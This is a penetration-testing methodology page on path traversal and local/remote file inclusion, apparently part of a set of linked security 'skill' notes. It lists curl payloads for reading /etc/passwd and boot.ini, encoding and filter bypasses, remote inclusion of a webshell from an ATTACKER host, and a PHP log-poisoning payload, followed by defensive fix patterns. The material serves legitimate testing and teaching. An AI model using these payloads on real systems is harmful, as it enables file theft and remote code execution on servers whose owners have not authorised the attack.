Path Traversal

Path Traversal and File Inclusion

What Is Broken and Why

Applications that construct file paths from user-supplied input without proper canonicalization and boundary enforcement allow attackers to escape the intended directory. On Linux/Unix, this enables reading /etc/passwd, SSH keys, application configuration files, and source code. On Windows, boot.ini, win.ini, and SAM hive files become accessible. Remote File Inclusion (RFI) extends the impact to arbitrary code execution by loading attacker-controlled URLs as server-side scripts. Inadequate sanitization — including blacklisting only specific sequences — is routinely bypassed through encoding variants.

Key Signals

• Parameters named file=, path=, item=, page=, template=, home=, style=, lang=
• Cookie values like TEMPLATE=flower or PSTYLE=GreenDotRed containing file references
• PHP source pattern: (include|require)(_once)?\s*['"(]?\s*\$_(GET|POST|COOKIE)
• File upload functionality that stores and later serves files based on user-supplied filenames
• Server error messages revealing absolute file paths on failed inclusion
• Application serving static-looking content with dynamic file parameters
• ASP/JSP/PHP pages that appear to aggregate or display file contents based on URL parameter

Methodology

1. Enumerate input vectors: Map all GET, POST, cookie, and hidden field parameters; identify any that appear to reference file names, paths, templates, or content identifiers.
2. Baseline test: Submit simple ../ sequences against each candidate parameter; observe response differences (size, content, error messages).
3. Encoding variants: If simple traversal is blocked, try URL, double, Unicode, and OS-specific encoding variants.
4. Sanitization bypass: If partial sanitization detected, test bypass patterns (nested ....//, spaces, extra periods, backslash mixing).
5. OS-specific targets: Test Unix targets (/etc/passwd) and Windows targets (../../boot.ini, ../../windows/win.ini).
6. LFI to RFI probe: If LFI confirmed, test http://, https://, ftp://, file:// prefixes for remote inclusion.
7. LFI to code execution: Test PHP wrappers (php://filter, php://input, data://), log poisoning, and session file inclusion chains.

Payloads & Tools

# Basic traversal — Unix
curl "https://TARGET/getUserProfile.jsp?item=../../../../etc/passwd"
curl "https://TARGET/index.php?file=../../../etc/passwd"

# Basic traversal — Windows
curl "https://TARGET/index.asp?file=..\..\..\..\boot.ini"
curl "https://TARGET/index.asp?file=../../../../windows/win.ini"

# URL encoding bypass
curl "https://TARGET/index.php?file=%2e%2e%2f%2e%2e%2fetc%2fpasswd"
# ../ = %2e%2e%2f

# Double URL encoding bypass
curl "https://TARGET/index.php?file=%252e%252e%255cetc%255cpasswd"

# Unicode/UTF-8 bypass
curl "https://TARGET/index.php?file=..%c0%afetc%c0%afpasswd"
curl "https://TARGET/index.php?file=..%c1%9cwindows%c1%9cwin.ini"

# Sanitization bypass — nested sequences (defeats Replace("../",""))
curl "https://TARGET/index.php?file=....//....//etc/passwd"
curl "https://TARGET/index.php?file=....\\....\\boot.ini"

# Windows UNC path
curl "https://TARGET/index.php?file=\\\\ATTACKER\\share\\malicious.txt"

# Remote file inclusion
curl "https://TARGET/index.php?file=http://ATTACKER/shell.txt"
curl "https://TARGET/index.php?file=ftp://ATTACKER/shell.txt"

# PHP filter wrapper (LFI — read source base64 encoded)
curl "https://TARGET/index.php?file=php://filter/convert.base64-encode/resource=index.php"

# Cookie-based traversal
curl "https://TARGET/page" -H "Cookie: PSTYLE=../../../../etc/passwd"

# DotDotPwn automated scan
dotdotpwn -m http -h TARGET -f /etc/passwd -k "root:" -d 6

# WFuzz path traversal fuzz
wfuzz -c -z file,/usr/share/wordlists/wfuzz/Injections/Traversal.txt \
  "https://TARGET/index.php?file=FUZZ"

Bypass Techniques

• Null byte: ../../../etc/passwd%00.jpg — truncates extension check (PHP < 5.3.4).
• Extra dots/spaces: .. /, ..%20/, .... — confuse regex-based filters.
• Mixed slashes: ..\/ or ..\\/ — bypass OS-specific separator checks.
• Absolute path: If traversal is stripped, try absolute path directly: /etc/passwd.
• PHP wrappers: php://filter, data://text/plain;base64,..., expect://id.
• Path length truncation: Very long paths may truncate at OS limit, dropping appended suffix.
• Encoding chain: Mix URL + HTML entity encoding to evade WAF pattern matching.

Exploitation Scenarios

Scenario 1 — Read /etc/passwd via URL Parameter Setup: https://TARGET/getUserProfile.jsp?item=ikki.html serves profile content from disk. Trigger: Change item=../../../../etc/passwd; server returns passwd file content in response. Impact: Username enumeration, identification of service accounts, OSINT for further attacks.

Scenario 2 — LFI via Cookie to Code Execution (Log Poisoning) Setup: LFI confirmed via TEMPLATE cookie; application logs User-Agent to a predictable path. Trigger: Send request with User-Agent: <?php system($_GET['cmd']); ?> to poison the log file; then include log via LFI with cmd=id. Impact: Remote code execution on the server.

Scenario 3 — RFI for Webshell Deployment Setup: PHP include($_GET['page']) without allow_url_fopen=Off. Trigger: page=http://ATTACKER/webshell.txt — attacker hosts a PHP webshell as .txt to bypass extension checks; server fetches and executes it. Impact: Full server compromise via interactive webshell.

False Positives

• A parameter named file= may reference an internal enum or database key, not an actual filesystem path; confirm by observing whether traversal sequences produce different responses.
• ../ in a URL fragment that appears in logs but is normalized by the framework before reaching application code is not exploitable.
• 500 errors on traversal attempts may indicate the path was processed but file not found, not that traversal is blocked.

Fix Patterns

• Canonicalize paths using realpath() (PHP) or equivalent; verify the resolved path starts within the allowed base directory before opening.
• Use a whitelist of allowed file identifiers mapped server-side to paths; never pass user input directly to filesystem functions.
• Disable allow_url_include and allow_url_fopen in PHP configuration.
• Disable RFI at the WAF/server level; block outbound HTTP from application tier where possible.
• Run application processes with minimal filesystem permissions.
• Apply input validation rejecting ., %, \, / sequences in file-referencing parameters.

Related Skills

Path traversal is an [[authz-bypass]] on the filesystem — the attacker escapes an intended directory boundary in the same way a session swap escapes a user boundary. When LFI chains to RCE via log poisoning, the code execution primitive is identical to [[cmd-injection]]. If the traversal target is a URL rather than a file path, look at [[ssrf]] for how server-side URL fetching can reach internal resources. In mobile apps, [[mobile-platform-interaction]] covers path traversal via Content Provider URIs.